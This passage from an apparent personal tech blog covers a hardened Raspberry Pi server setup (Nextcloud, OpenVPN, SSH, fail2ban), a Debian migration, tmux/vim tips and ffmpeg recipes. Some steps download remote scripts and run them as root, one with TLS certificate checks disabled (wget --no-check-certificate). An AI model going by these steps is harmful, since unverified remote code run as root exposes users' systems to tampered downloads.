SSLStaplingCache        shmcb:/var/run/ocsp(128000)

Let us now improve a bit Apache's security. Edit /etc/apache2/conf-enabled/security.conf like this:

ServerSignature Off
Header set X-Frame-Options: "sameorigin" # Require mod_headers
ServerTokens Prod

Now get a browser-trusted certificate from Let's Encrypt. Here is a summary of the official instructions:

su
apt update
apt install snapd
exit
su # To reload paths
snap install core
snap refresh core
snap install --classic certbot
ln -s /snap/bin/certbot /usr/bin/certbot

# Set up NAT/PAT rules in your router so that ports 80 and 443 are reachable from the Internet. Then:
certbot --apache
# Now uncomment SSLEngine on in default-ssl.conf
# Also, your router must accept connections on port 80 for the renewal to work.
certbot renew --dry-run # Try renewal
# It should be programmed to regularily renew the certificate automatically.
# Check with `systemctl list-timers`.

And restart systemctl restart apache2.

Now, visit http://raspberry-pi-IP/ once. This will create /var/www/nextcloud/config/config.php. Edit this file like this:

'overwrite.cli.url' => 'https://example.org/',
'htaccess.RewriteBase' => '/',

And run cd /var/www/nextcloud && sudo -u www-data php occ maintenance:update:htaccess.

Ultimately, verify everything is all right using SSL LABS's SSL server test.

You may now restart Apache2.

Then:

cryptsetup -v luksOpen /dev/sda3 hddcrypt
mount /dev/mapper/hddcrypt /mnt/data_partition/
mkdir /mnt/data_partition/nextcloud_data
chown -R www-data:www-data /mnt/data_partition/nextcloud_data/
chmod 750 /mnt/data_partition/nextcloud_data

Now you can start setting up Nextcloud at https://raspberry-pi-IP/. Set the data folder to be /mnt/data_partition/nextcloud_data. Once set up, go visit /settings/admin/overview for tips on how to improve your setup.

Improve PHP's performance

su

export CONF=/etc/php/7.3/apache2/php.ini
# Or /etc/php/7.3/fpm/php.ini if running HTTP2

sed "s/;opcache.enable=1/opcache.enable=1/" -i $CONF
sed "s/;opcache.enable_cli=0/opcache.enable_cli=1/" -i $CONF
sed "s/;opcache.memory_consumption=128/opcache.memory_consumption=128/" -i $CONF
sed "s/;opcache.interned_strings_buffer=8/opcache.interned_strings_buffer=8/" -i $CONF
sed "s/;opcache.max_accelerated_files=10000/opcache.max_accelerated_files=10000/" -i $CONF
sed "s/;opcache.revalidate_freq=2/opcache.revalidate_freq=240/" -i $CONF
sed "s/memory_limit = 128M/memory_limit = 512M/" -i $CONF
sed "s/upload_max_filesize = 2M/upload_max_filesize = 16G/" -i $CONF
sed "s/post_max_size = 8M/post_max_size = 16G/" -i $CONF
sed "s/output_buffering = 4096/output_buffering = 0/" -i $CONF
sed "s/max_input_time = 60/max_input_time = 3600/" -i $CONF
sed "s/max_execution_time = 30/max_execution_time = 3600/" -i $CONF

export CONF_CLI=/etc/php/7.3/cli/php.ini
# /etc/php/7.0/cli/php.ini is used by Nextcloud's CRON jobs

sed "s/;opcache.enable=1/opcache.enable=1/" -i $CONF_CLI
sed "s/;opcache.enable_cli=0/opcache.enable_cli=1/" -i $CONF_CLI
sed "s/;opcache.revalidate_freq=2/opcache.revalidate_freq=240/" -i $CONF_CLI
sed "s/output_buffering = 4096/output_buffering = 0/" -i $CONF_CLI
sed "s/max_input_time = 60/max_input_time = 3600/" -i $CONF_CLI
sed "s/max_execution_time = 30/max_execution_time = 3600/" -i $CONF_CLI

To significantly improve performance overall, you'll also need data caching: APCu.

su
apt install php-apcu
phpenmod apcu
service apache2 restart

Now, add the following in /var/www/nextcloud/config/config.php:

'memcache.local' => '\OC\Memcache\APCu',

Restart Apache. Running php -i will say opcache.enable => On and Opcode Caching => Up and Runnning. If you temporarily replace the content of status.php with <?php phpinfo(); ?>, when accessing /status.php you should see the same results. Make sure as well that APCu is enabled in the webpage.

Improve Nextcloud's settings

Add the following in /var/www/nextcloud/config/config.php:

'logtimezone' => 'Europe/Paris',
'logfile' => '/var/log/nextcloud/nextcloud.log',
'default_phone_region' => 'DE',

Now:

su -
mkdir /var/log/nextcloud
chown www-data:www-data /var/log/nextcloud
exit
sudo -u www-data bash
touch /var/log/nextcloud/nextcloud.log

In Nextcloud, enable the server-side encryption in the admin settings, and enable the app called Default encryption module in the web interface, while logged in as an admin. You'll need to log out and in to actually enable encryption for good.

Install and enable the app "Two Factor TOTP Provider" in URL/settings/apps. Then, go to URL/settings/user/security and enable TOTP.

In URL/settings/admin, change the jobs mechanism to cron (read the documentation by clicking on the i icon).

*/5  *  *  *  * [ -L /dev/mapper/hddcrypt ] && php -f /var/www/nextcloud/cron.php

Firewall

su
wget --no-check-certificate https://raw.githubusercontent.com/rpellerin/dotfiles/master/scripts/firewall.sh
wget --no-check-certificate https://raw.githubusercontent.com/rpellerin/dotfiles/master/scripts/firewall.service
chmod 700 firewall.sh
chmod 700 firewall.service
chown root:root firewall.sh
chown root:root firewall.service
# Edit the content of firewall.service so that the path to firewall.sh is correct
mv firewall.service /etc/systemd/system/
systemctl enable firewall

Edit firewall.sh that way:

TCP_SERVICES="80 443" # SSH is handled separately elsewhere // http, https
UDP_SERVICES="68 1194" # DHCP, OpenVPN

REMOTE_TCP_SERVICES="21 22 43 80 443 465 993" # ftp, ssh, whois, http, https, smtp (ssl), imap
REMOTE_UDP_SERVICES="53 67 123" # DNS ("whois" command for example), DHCP, ntp (time update)

# NETWORK_MGMT=192.168.1.0/24

OpenVPN 2.4.7

su - # The hyphen to get $PATH updated, so as to include /usr/sbin
apt update && apt install openvpn

Read the official documentation (here, short tutorial for easy-rsa3).

cp -R /usr/share/easy-rsa/ /etc/openvpn
cd /etc/openvpn/easy-rsa
cp vars.example vars
echo "set_var EASYRSA_KEY_SIZE       2048" >> vars # No need to source this file
echo "set_var EASYRSA_CERT_EXPIRE    3650" >> vars
# Edit also EASYRSA_REQ_COUNTRY, PROVINCE, CITY, ORG, and EMAIL

From now on, I highly recommend you read /etc/openvpn/easy-rsa/doc/EasyRSA-Readme.md and https://github.com/OpenVPN/easy-rsa/blob/master/README.quickstart.md in order to continue setting up OpenVPN. As explained, you need to create a PKI to get three distinct things: your CA, a certificate and private key for the server and another couple of this kind for clients. Normally you should generate the pair for clients on your personnal computer, however it's not necessary in our case (who cares about security anyway?).

Then:

./easyrsa init-pki
./easyrsa build-ca # Add a CA password. Add a different strong PEM passphrase which will be used to sign other certificates. Leave unchanged the default Common Name.
./easyrsa gen-req server nopass # ./easyrsa gen-req <name> Do not add a password for the server; use 'server' as the Common Name (CN)
./easyrsa sign-req server server # ./easyrsa sign-req <type> <name>
./easyrsa gen-req client # Use 'client' as CN; add a passphrase that you will need later when you try to connect to your VPN server
./easyrsa sign-req client client

Once the certificates and private keys are generated for the server and a client at least, do the following on your Pi and then go back to reading OpenVPN's documentation:

./easyrsa gen-dh
cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf /etc/openvpn/
cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn/
cd /etc/openvpn
openvpn --genkey secret ta.key
vim server.conf

You should edit server.conf like this:

port 1194
proto udp6
dev tun
ca /etc/openvpn/easy-rsa/pki/ca.crt
cert /etc/openvpn/easy-rsa/pki/issued/server.crt
key /etc/openvpn/easy-rsa/pki/private/server.key
dh /etc/openvpn/easy-rsa/pki/dh.pem
topology subnet
server-ipv6 fd42:42:42:42::/112
# Add the following line only if you intend to access the network 192.168.1.0/24,
# to which the server must be connected.
push "route 192.168.1.0 255.255.255.0"
push "route-ipv6 2000::/3"
push "redirect-gateway def1 bypass-dhcp ipv6"
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"
tls-auth /etc/openvpn/ta.key 0
max-clients 2
user nobody
group nogroup
log-append  openvpn.log
verb 6
mute 20
script-security 3
client-connect "/etc/openvpn/notifyconnect.sh"

Keep the rest as-is. Some parts of this configuration were copied from openvpn-install.

Now create /etc/openvpn/notifyconnect.sh:

#!/bin/bash
echo "On `date`" | mail -s "OpenVPN client connection" root@localhost 2>/dev/null
sleep 1
# We can't run `runq`  or `exim -qff` since this script is called by user `nobody`.
# Also make sure this script returns 0 otherwise the VPN connection will fail.

Then:

chmod +x /etc/openvpn/notifyconnect.sh

Now, edit client.conf:

remote <your DynHost domain> 1194
user nobody
group nogroup
mute-replay-warnings
# Normally next lines are uncommented but we won't need them
#ca /etc/openvpn/easy-rsa/easyrsa3/pki/ca.crt
#cert /etc/openvpn/easy-rsa/easyrsa3/pki/issued/client.crt
#key /etc/openvpn/easy-rsa/easyrsa3/pki/private/client.key
#tls-auth /etc/openvpn/ta.key 1
remote-cert-tls server
mute 20

Ultimately do:

cat /etc/openvpn/client.conf > client.ovpn
echo "key-direction 1" >> client.ovpn
echo "script-security 2" >> client.ovpn
echo "up /etc/openvpn/update-resolv-conf" >> client.ovpn
echo "down /etc/openvpn/update-resolv-conf" >> client.ovpn
echo "<ca>" >> client.ovpn
cat /etc/openvpn/easy-rsa/pki/ca.crt >> client.ovpn
echo "</ca>" >> client.ovpn
echo "<cert>" >> client.ovpn
cat /etc/openvpn/easy-rsa/pki/issued/client.crt | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' >> client.ovpn
echo "</cert>" >> client.ovpn
echo "<key>" >> client.ovpn
cat /etc/openvpn/easy-rsa/pki/private/client.key >> client.ovpn
echo "</key>" >> client.ovpn
echo "<tls-auth>" >> client.ovpn
cat /etc/openvpn/ta.key >> client.ovpn
echo "</tls-auth>" >> client.ovpn

Copy that client.ovpn file on your client.

On your Pi, uncomment the following line in /etc/sysctl.conf:

net.ipv4.ip_forward=1
net.ipv6.conf.all.forwarding=1

Apply changes:

su
sysctl -p

There's a known bug which may prevent these values to be read on boot (check that it worked about rebooting with sysctl -a | grep ip_forward). Add the following above exit 0 in /etc/rc.local:

sysctl -p /etc/sysctl.conf

Don't forget to set up a port forward rule to forward UDP port 1194 from your gateway/router to the machine running the OpenVPN server. In addition, allow incomings UDP connections on port 1194 and these rules, in firewall.sh (the lines are there already, uncomment them):

iptables -t nat -I POSTROUTING 1 -o eth0 -j MASQUERADE
ip6tables -t nat -I POSTROUTING 1 -s fd42:42:42:42::/112 -o eth0 -j MASQUERADE
iptables -A FORWARD -s 10.8.0.0/24 -j ACCEPT
iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT

If you prefer not to use any firewall, replace the content of firewall.sh with:

#!/bin/sh

# OpenVPN
fw_start () {
iptables -t nat -I POSTROUTING 1 -o eth0 -j MASQUERADE
ip6tables -t nat -I POSTROUTING 1 -s fd42:42:42:42::/112 -o eth0 -j MASQUERADE
}

case "$1" in
start|restart)
 fw_start
 ;;
*)
 echo "Usage: $0 {start}"
 exit 1
 ;;
esac
exit 0

Make sure to replace eth0 with the right value (check using ip a). You'll find it using: ip -4 route ls | grep default | grep -Po '(?<=dev )(\S+)' | head -1

Finally, do the following on your server:

cd /etc/openvpn
su
mv client.conf client.conf.old
shred -u client.ovpn
chown nobody:nogroup ta.key
systemctl restart openvpn
tail -f /var/log/openvpn/openvpn-status.log

At next boot, the server will run automatically. We needed to rename the client.ovpn because the initscript will scan this directory for .conf files and start up a separate OpenVPN deamon for each file found. It is recommended to delete client's files:

shred -u client.conf.old
shred -u /etc/openvpn/easy-rsa/pki/private/client.key
shred -u /etc/openvpn/easy-rsa/pki/issued/client.crt

Now on your client:

sudo apt update && sudo apt install resolvconf
sudo openvpn --config client.ovpn

On the server, if you are using /etc/openvpn/notifyconnect.sh and emails are not sent out when a client connects, add CAP_SYS_RESOURCE to CapabilityBoundingSet in /lib/systemd/system/openvpn@.service. Here is why.

Optional: use several ports

You might want to make your VPN server available on several ports. If so, open the ports you wish to use on your router and add the corresponding iptables rules. You may edit firewall.sh, change the first line and add the second one:

UDP_SERVICES="68 1194 53" # DCHP, OpenVPN, OpenVPN (other port)
# ...
iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j REDIRECT --to-port 1194

Hardening SSH configuration

Edit /etc/ssh/sshd_config:

Port <something you like>
# If you change the default port, don't forget to update SSH_PORT in firewall.sh
#HostKey /etc/ssh/ssh_host_dsa_key # Comment because too old
#HostKey /etc/ssh/ssh_host_ecdsa_key # Same reason
LoginGraceTime 10s
PermitRootLogin no
StrictModes yes
PubkeyAuthentication yes
IgnoreRhosts yes
PasswordAuthentication no # Or yes, depending on your needs
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM no
Banner /etc/issue.net # Message displayed at login

# Custom settings
AllowUsers pi # ONLY pi will be allowed to log in

Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-512,hmac-sha2-256
KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256

The last three lines are taken from this very helpful website. You should also read this one after having read the first one (the order is important).

Another helpful website about how to prevent SSH bruteforce attacks. However, we'll use fail2ban, see below.

Consider allowing SSH connections using public keys only. On a client do:

ssh-keygen -t rsa -b 4096 -o -a 100 # Accept default directory and no passphrase
ssh-copy-id -i ~/.ssh/id_rsa.pub pi@raspberrypi-IP

Sending an email on every SSH connection

Taken from this thread. As root, create /etc/ssh/login-notify.sh:

#!/bin/sh

if [ "$PAM_TYPE" != "close_session" ]; then
    host="`hostname`"
    subject="SSH Login: $PAM_USER from $PAM_RHOST on $host"
    message="`date`"
    echo "$message" | mail -s "$subject" root@mydomain
fi

Note though that you will need to change this line in /etc/ssh/sshd_config:

UsePAM yes

Then:

chmod +x /etc/ssh/login-notify.sh

And add the following line at the end of the file /etc/pam.d/sshd:

session optional pam_exec.so seteuid /etc/ssh/login-notify.sh

Now restart sshd by doing service sshd restart.

Fail2Ban

Official documentation.

su
apt install fail2ban
systemctl status fail2ban

Make sure the file /etc/init.d/fail2ban exists. Now edit /etc/fail2ban/jail.local (make a copy of /etc/fail2ban/jail.conf):

[DEFAULT]
# Whatever fits you
bantime = 86400
findtime = 3600
maxretry = 3
action = %(action_mwl)s

# Enable sshd (enabled = true + mode = aggressive), change 'port' if need be
# Enable apache, apache-*
# Add the following new entry
[http-dos]
enabled = true
port = http,https
filter = http-dos
logpath = %(apache_access_log)s
maxretry = 200
findtime = 120
bantime = 600

[ban-countries]
enabled = true
port = http,https
filter = http-dos
logpath = %(apache_access_log)s
maxretry = 1
findtime = 120
bantime = 6000
banaction = ban-countries
action = %(action_)s
# action_ won't send email when banning someone (cause would send a message for every new request) nor when starting/stopping

In /etc/fail2ban/filter.d/apache-auth.conf, edit the line ignoreregex like this to fix a known issue between Nextcloud and fail2ban:

ignoreregex = var/www/nextcloud/config

Now create /etc/fail2ban/filter.d/http-dos.conf:

[Definition]

# Option: failregex
# Note: This regex will match any GET or POST entry in your logs, so basically
# all valid and not valid entries are a match.
# You should set up in the jail.conf file, the maxretry and findtime carefully
# in order to avoid false positives.

failregex = ^<HOST> -.*\"(GET|POST).*

# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.
# Values: TEXT
#

ignoreregex =

Now create /etc/fail2ban/action.d/ban-countries.conf:

# Copied from iptables-allports.conf
[Definition]

actionstart = <iptables> -N f2b-<name>
              <iptables> -A f2b-<name> -j <returntype>
              <iptables> -I <chain> -p <protocol> -j f2b-<name>

actionstop = <iptables> -D <chain> -p <protocol> -j f2b-<name>
             <iptables> -F f2b-<name>
             <iptables> -X f2b-<name>

actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

actionban = IP=<ip> &&
            COUNTRY=$(geoiplookup $IP | egrep "<country_list>") && [ "$COUNTRY" ] &&
            <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype> || true

actionunban = true

[Init]

country_list = CN|China

Finally, set up fail2ban to also protect you from attacks against Nextcloud. The logpath to use is /var/log/nextcloud/nextcloud.log.

Now install missing packages, reload the service maually to make sure there is no error:

su
apt install geoip-bin geoip-database
systemctl stop fail2ban
fail2ban-client -x start
less /var/log/fail2ban.log
# Check for errors
fail2ban-client -x stop
systemctl start fail2ban

Troubleshooting

Should you have a beeping hard disk drive, the reason might be power consumption. It usually beeps when it needs more electricity. Disabling Advanced Power Management will solve this problem in most cases (sudo hdparm -B 255 /dev/sda).

Going further

Pro tips

Consider buying an uninterruptible power supply (UPS) for your Raspberry to prevent damage caused by power outage.

Talk

A year ago, I gave a talk at HumanTalks Compiègne about my Raspberry Pi. Here are the video and the slides.

Slides are available in HTML.

Interesting external links

Read-only Raspberry Pi

Migrating From Xubuntu To Debian

2016-05-21T02:00:00+02:00

Today marks a new beginning: I'm switching to Debian 8. A very bare installation of Debian actually.

Until now, I've been using Xubuntu for over 3 years as my main operating system, on both my laptop and desktop computer. However, yesterday, as I was installing Xubuntu 16.04 on a friend's laptop, I noticed a few bugs quite annoying (like the disappearing mouse). In addition, I had been thinking about migrating to Debian for quite a long time (a friend of mine had already taken that step a couple of months ago). Xubuntu is shipped with a bunch of useless programs that I would never use. So time has come to have a lightweight bare distro, such as Debian 8. Moreover, my aging laptop would hugely benefit from that.

Tutorial

Let's get straight to the point: how to install Debian 8 on a whole encrypted disk?

Why encryption? Although I don't have sensitive data to protect, I take my laptop everywhere I go. Consequently, I am vulnerable to theft. What is on my disk is not valuable but still, I prefer to keep my stuff private.

Before starting, make sure you have two USB sticks ready nearby, and another computer with a working Internet connection.

Here are the steps to get a bare installation of Debian 8:

Download a "small installation image" on the official website.

Flash it on a USB stick:

ls /dev/sd*
# Plug the USB stick
ls /dev/sd* # Detect which is yours
sudo umount /dev/sdX1
sudo dd if=debian-8.4.0-amd64-netinst.iso of=/dev/sdX bs=1M
sudo sync; sync
sudo umount /dev/sdX1

On the target PC, disable any HDD password or BIOS password. It might prevent you from encrypting the disk. I experienced it.
Boot on the USB flash drive. Select "Install", unless you prefer a graphical install. They both do the same thing.
Follow the instructions. You can leave the domain name blank. If you get a message "No common CD-ROM drive was detected", press ALT+F2 and do the following:
```
blkid # Identify a device with a partition of type iso9660
mkdir /mnt/iso
mount -t iso9660 /dev/sdb1 /mnt/iso
```
Press ALT+F1 to return to the installation dialog. Continue the installation.
If at some point a message says that proprietary firmware files are needed, it's time to go back to the other computer and USB stick. Otherwise, skip this step.

Note: this is doable with only one USB stick. But it is much harder.
1. Download the mentioned file(s) from the Debian repository. In my case, I needed these ones: https://packages.debian.org/stretch/all/firmware-misc-nonfree/download and https://packages.debian.org/stretch/all/firmware-realtek/download.
2. Put the .deb file(s) on the other USB stick. If you decided to re-use the same USB stick, first umount it: ALT+F2, cat /etc/mtab then sync && umount /dev/sdb1 && sync. Plug it in the other computer and delete existing partitions with fdisk and create a new one of type W95 FAT32. Format it using sudo mkfs.vfat /dev/sdc1. Then put the files on the USB stick.
3. Plug the one containing firmwares files on your target computer, in the same USB port as the previous USB stick. You might need to hit ALT+F2, then check what is currently mounted (cat /etc/mtab) (make sure nothing on /cdrom) and mount the one you just plugged in: mount -t vfat /dev/sdb1 /cdrom. ALT+F1 to go back to the install screen.
4. Answer "Yes" to "Load missing firmware from removable media?".
5. Once completed, unplug the USB stick and plug the one containing Debian in the same port. You might need to re-write Debian if you re-used the same USB flash drive. Then press ALT+F1 and do:
```
blkid # Identify a device with a partition of type iso9660
# Umount if need be
mount -t iso9660 /dev/sdc1 /cdrom
mount -t iso9660 /dev/sdc1 /mnt/iso # Might not be required
```
6. Press ALT+F2 to return to the installation dialog.
When reaching the partitioning step, choose "Guided using LVM encrypted". You should eventually obtain something like this:
When reaching the "Software Selection", choose only XFCE as a desktop manager, in combinaison with the print server and utilities. Do not use the Debian desktop environment. It is shitty as f*ck.
Merely follow instructions until completion of the installation.

Switching from stable to testing

If you need to be up-to-date, that's the right thing to do!

su
cp /etc/apt/sources.list{,.bak}
sed -i -e 's/ \(stable\|stretch\)/ testing/ig' /etc/apt/sources.list
apt update
apt --download-only dist-upgrade
apt dist-upgrade

More information.

Improve your privacy by using trustworthy DNS servers

I recommend French Data Network's DNS servers: 80.67.169.12 and 80.67.169.40. Follow this link to find out how to configure Ubuntu.

Use free software

Namely Icecat or Iceweasel and Icedove as alternatives to Firefox and Thunderbird respectively.

Hope it was helpful.

Copy Pasting In Tmux And Vim

2016-04-06T16:30:00+02:00

Over the last couple of years, I've spent quite a lot of time fine-tuning my prompt. Most of my configuration is available online, so feel free to use it.

My configuration is as follows:

I use zsh rather than bash cause it's way more powerful and convenient. In addition, I use the awesome Prezto which is a configuration framework built for zsh.
tmux to be able to open as many terminals as I want in only one window (very helpful).
vim as my main text editor. I use it for most things involving programming (except for Android, I have to admit, as Android Studio does the job really well).

For example, this is my current terminal (actually containing 3 terminals):

(the top-right terminal is of no use, I just opened it to show how clever zsh coupled with Prezto is).

The problem

I guess most beginners with Tmux and Vim (especially Vim) stumble upon one problem (and the number of questions on StackOverflow asserts it): how to properly copy-paste? I had that problem too. I'll answer to these questions simply.

First of all, you have to know that, on X11 systems (which means most GNU/Llinux distros), there are two "clipboards":

* is the selection buffer. It's the one used when you select a text and paste it using the middle button of a mouse (it's actually made of two buffers called PRIMARY and SECONDARY but we don't need to know that).
+ is the cut buffer (the one used with C-c C-v) also called CLIPBOARD.

Secondly, you may know that, in most programs you can use:

'Ctrl-c' or 'Ctrl-Shift-c' to copy to the cut buffer
'Ctrl-v' or 'Ctrl-Shift-v' to paste from the cut buffer
'Ctrl-Insert' to copy to the selection buffer or simply select text using a mouse
'Shift-Insert' to paste from the selection buffer or simply use the middle button of a mouse

Let us now see how to copy paste from one environment to another one.

Copy-pasting

Copy-pasting from Vim to Vim (same instance)

In normal mode, using the keys 'yy' (yank) or 'dd' (delete) and then 'p' (paste).
Also using the visual mode with 'y' (yank).

Copying from Tmux

Use my conf file and install xclip (sudo apt-get install xclip) to achieve the following:

'C-b [': enter copy mode
'v': begin selection
'y': copy to clipboard and exit copy mode

Copying from Vim

In normal or visual mode, using '"+yy' (normal) '"+y' (visual) to copy to the cut buffer or '*yy' and '"*y' to copy to the selection buffer.

Pasting in Tmux

Paste in Tmux: 'Ctrl-Shift-v' (paste the clipboard) or 'Shift-Insert' (paste the selection).
You can also use Tmux's own buffers (list them using tmux list-buffers or show the current one with tmux show-buffer). For instance, to past from the buffer, do 'C-b ]'.
Tmux also allows you to paste its buffer in a file, using tmux save-buffer foo.txt.
To show or save a specific buffer, do tmux show-buffer -b <n> or tmux save-buffer -b <n> bar.txt.

Pasting in Vim

Paste in Vim: '"+p' (cut buffer) or '"*p' (selection buffer).
You can also use the shortcuts shown above in Pasting in Tmux (first bullet point).

Hope this was helpful.

Tips For FFMPEG

2016-02-21T21:30:00+01:00

-acodec is an alias for -c:a which is an alias for -codec:a (audio stream).
-vcodec is an alias for -c:v which is an alias for -codec:v (video stream).

-af is an alias for -filter:a (audio stream).
-vf is an alias for -filter:v (video stream).

Turn a portrait video into a landscape one, adding a blurred background of the video

ffmpeg -i input.mp4 -vf 'split[original][copy];[copy]scale=ih*16/9:-1,crop=h=iw*9/16,gblur=sigma=20[blurred];[blurred][original]overlay=(main_w-overlay_w)/2:(main_h-overlay_h)/2' output.mp4

Cross fade a video for seamless loops

curl -o ./video-crossfade -O https://raw.githubusercontent.com/joeyhoer/video-crossfade/master/video-crossfade.sh
chmod +x ./video-crossfade
./video-crossfade.sh -f 2 -o output.mp4 input.mp4 # 2 second crossfade

Scale a 2.7K (2704x1520) video down to 1080p

ffmpeg -i input.mp4 -vf "scale=1920:1080,setsar=1" -acodec copy output.mp4

Convert a video framerate to NTSC (29.97002997)

ffmpeg -i input.mp4 -r ntsc -acodec copy output.mp4

Split a video in several chunks of same duration

ffmpeg -i input.mp4 -c copy -map 0 -segment_time 00:00:30 -f segment -reset_timestamps 1 output%03d.mp4

Add optional subtitles

ffmpeg -i input.mp4 -i subtitle.eng.srt -i subtitle.deu.srt -map 0 -map 1 -map 2 -c copy -c:s mov_text -metadata:s:s:0 language=eng -metadata:s:s:1 language=deu output_eng_deu.mp4

For .mkv files:

ffmpeg -i input.mkv -f srt -i input.srt -map 0:0 -map 0:1 -map 1:0 -c:v copy -c:a copy -c:s text output.mkv

Swap -c:s text with -c:s srt if input.srt does not contain any HTML tag., otherwise stick to text.

Add embedded subtitles (burned-in subtitles)

sudo apt install subtitlecomposer

In subtitlecomposer, import the video, add subtitles, and export the file as filename.ass. Edit the exported text file, change the font from 16px to 22. Then:

ffmpeg -i input.mp4 -vf ass=filename.ass output.mp4

Create a video out of several images

ffmpeg -r 24 -f image2 -s 1440x1080 -i image%04d.jpg -vcodec libx264 -crf 25 -pix_fmt yuv420p output.mp4 # image0001.jpg, image0002.jpg, etc

Create a GIF from a video

palette="/tmp/palette.png"

filters="fps=15,scale=320:-1:flags=lanczos"

ffmpeg -v warning -i input.mp4 -vf "$filters,palettegen" -y $palette
ffmpeg -v warning -i input.mp4 -i $palette -lavfi \
    "$filters [x]; [x][1:v] paletteuse" -y output.gif

Create a GIF from images (01.jpg, 02.jpg, 03.jpg, etc...)

ffmpeg -f image2 -framerate 1 -i %02d.jpg output.gif
# Or with ImageMagick
convert -delay 80 *.jpg -loop 0 output.gif

Crop an OGV video

ffmpeg -i input.ogv -vcodec libtheora -vf crop=700:400:0:0 -f ogg output.ogv

Merge an audio track (delayed) with a video, and cut the final video according to the shortest stream

ffmpeg -itsoffset 00:00:15 -i input.mp4 -i audio.mp3 -acodec copy -vcodec copy \
    -map 0:0 -map 1:0 -shortest output.mp4

Cut a video (set the starting time and the duration)

Two options mostly.

Process all the input and then precisely cut the re-encoded output at the requested time, the rest of the input that came out before is discarded. It is very slow because it has to process the beginning of the input even though it is discarded.
```
ffmpeg -i input.mp4 -ss 00:00:13 -t 00:09:00 output.mp4
```
Seek in input (fast but imprecise, can only cut at key frames) and do not re-encode to preserve quality:
```
ffmpeg -ss 00:00:13 -i input.mp4 -t 00:09:00 -c copy -avoid_negative_ts make_zero output.mp4
```

More information.

Extract EVERY image from a video

ffmpeg -i foo.avi -r 1 -s WxH -f image2 foo-%03d.jpeg

Create a 24fps video from many images

ffmpeg -framerate 1 -i foo-%02d.jpg -c:v libx264 -r 24 -pix_fmt yuv420p foo.mp4

Accelerate a video by 2

ffmpeg -i input.mp4 -filter:v "setpts=0.5*PTS" output.mp4

Keep the original metadata of a MP4 file

ffmpeg -i original_video.mp4 -c:v libx264 -c:a copy -map_metadata 0 transcoded_video.mp4
touch -r original_video.mp4 transcoded_video.mp4

Flip by 180° a video and fix the metadata

ffmpeg -i input.mp4 -vf "transpose=2,transpose=2" -metadata:s:v:0 rotate=0 output.mp4

Remove the audio stream

ffmpeg -i input.mp4 -an -vcodec copy output.mp4

Convert from .mov to .mp4

ffmpeg -i input.mov -c:v libx264 -c:a copy output.mp4

Concatenate several MP4 files

find . -type f -iname "*.MP4" -exec ffmpeg -i '{}' -c copy -bsf:v h264_mp4toannexb -f mpegts '{}.ts' \;
ffmpeg -i "concat:$(find . -type f -iname "*.ts" | sort | tr '\n' '|' | head -c -1)" -c copy -avoid_negative_ts make_zero -bsf:a aac_adtstoasc output.mp4

Converting a HDR video into a SDR one

ffmpeg -i input.mkv \
-vf zscale=t=linear:npl=100,format=gbrpf32le,zscale=p=bt709,tonemap=tonemap=hable:desat=0,zscale=t=bt709:m=bt709:r=tv,format=yuv420p \
-c:v libx265 -crf 18 -preset slower \
output.mkv

source

Fade out last 2 seconds of audio track

ffmpeg -i output-with-sound.mp4 -c:v copy -filter_complex "areverse, afade=d=2, areverse" output-with-sound-fadeout.mp4

Merge two videos placed side by side with audio from first video

ffmpeg -i left.mp4 -i right.mp4 \
  -filter_complex "[0:v][1:v]hstack=inputs=2[myvideo]" \
  -map "[myvideo]" -map "0:a" wide.mp4

You might want to scale it down and add black padding at the top and bottom:

ffmpeg -i left.mp4 -i right.mp4 \
  -filter_complex "[0:v][1:v]hstack=inputs=2[myvideo];[myvideo]scale=1920:-1,pad=1920:1080:0:270[myvideo]" \
  -map "[myvideo]" -map "0:a" wide.mp4
:::bash

Alternatively, you can crop the initial two inputs and directly produce a 1920x1080 video:

ffmpeg -i left.mp4 -i right.mp4 \
  -filter_complex "[0:v]crop=960:1080:480:0[left];[1:v]crop=960:1080:480:0[right];[left][right]hstack=inputs=2[myvideo]" \
  -map "[myvideo]" -map "0:a" 16-9-video.mp4

If one of the two videos is not correctly synced with the other one, you can delay an input. Add -ss 00:00:0x before the -i input that needs adjustment.

Put one video on top of another one (overlay), alternate between the two, and use audio from first video

ffmpeg -i initial.mp4 -i ontop.mp4 -filter_complex \
  "[0:0][1:0]overlay=enable='between(t\,19,28)'[myvideo];[myvideo][1:0]overlay=enable='between(t\,37,45)'[myvideo]" \
  -map "[myvideo]" -map "0:a" -shortest output.mp4

Replace the audio track with another

ffmpeg -i output.mp4 -i yo.mp3 -map 0:0 -map 1 -vcodec copy -acodec copy output2.mp4

(Down) Scaling a video from 1080p to 720p

ffmpeg -i input.mp4 -vf scale=1280:-1 -acodec copy output.mp4

Concat MTS files to MP4

ffmpeg -i "concat:$(find . -type f -iname "*.ts" | sort | tr '\n' '|' | head -c -1)" -vcodec copy -acodec aac -ab 512k -cutoff 22050 -sn output.mp4

Reduce the size of a video

ffmpeg -i input.mp4 -vcodec libx265 -crf 24 -r 25 output.mp4
# OR if libx265 is not supported
ffmpeg -i input.mp4 -vcodec libx264 -crf 24 -r 25 output.mp4

Resources

Fonts, Typefaces And The History Of UTF-8

2016-02-04T19:00:00+01:00

First, let's start with the basics. What's the difference between a font and a typeface?

Briefly, a fond is what we use whereas a typeface is what we see. But still, it's a bit more complex. I'll sum up the original article right below.

In the past, analog printing was done using metal letters rolled in ink and pressed down onto a piece of paper: that was the page layout. For a given typeface (for example Garamond), there were thousands of physical metal blocks, each with the character it was meant to represent, in relief (the type face), existing in different size (10 point, 12, etc.) and different weights (bold, light, medium). Basically, a font is just a subset of a typeface. For example, bolded Garamond in 12 point was considered a different font than normal Garamond in 8 point. But nowadays, both terms can be used interchangeably. However, just in case you would need to know, a reminder could be:

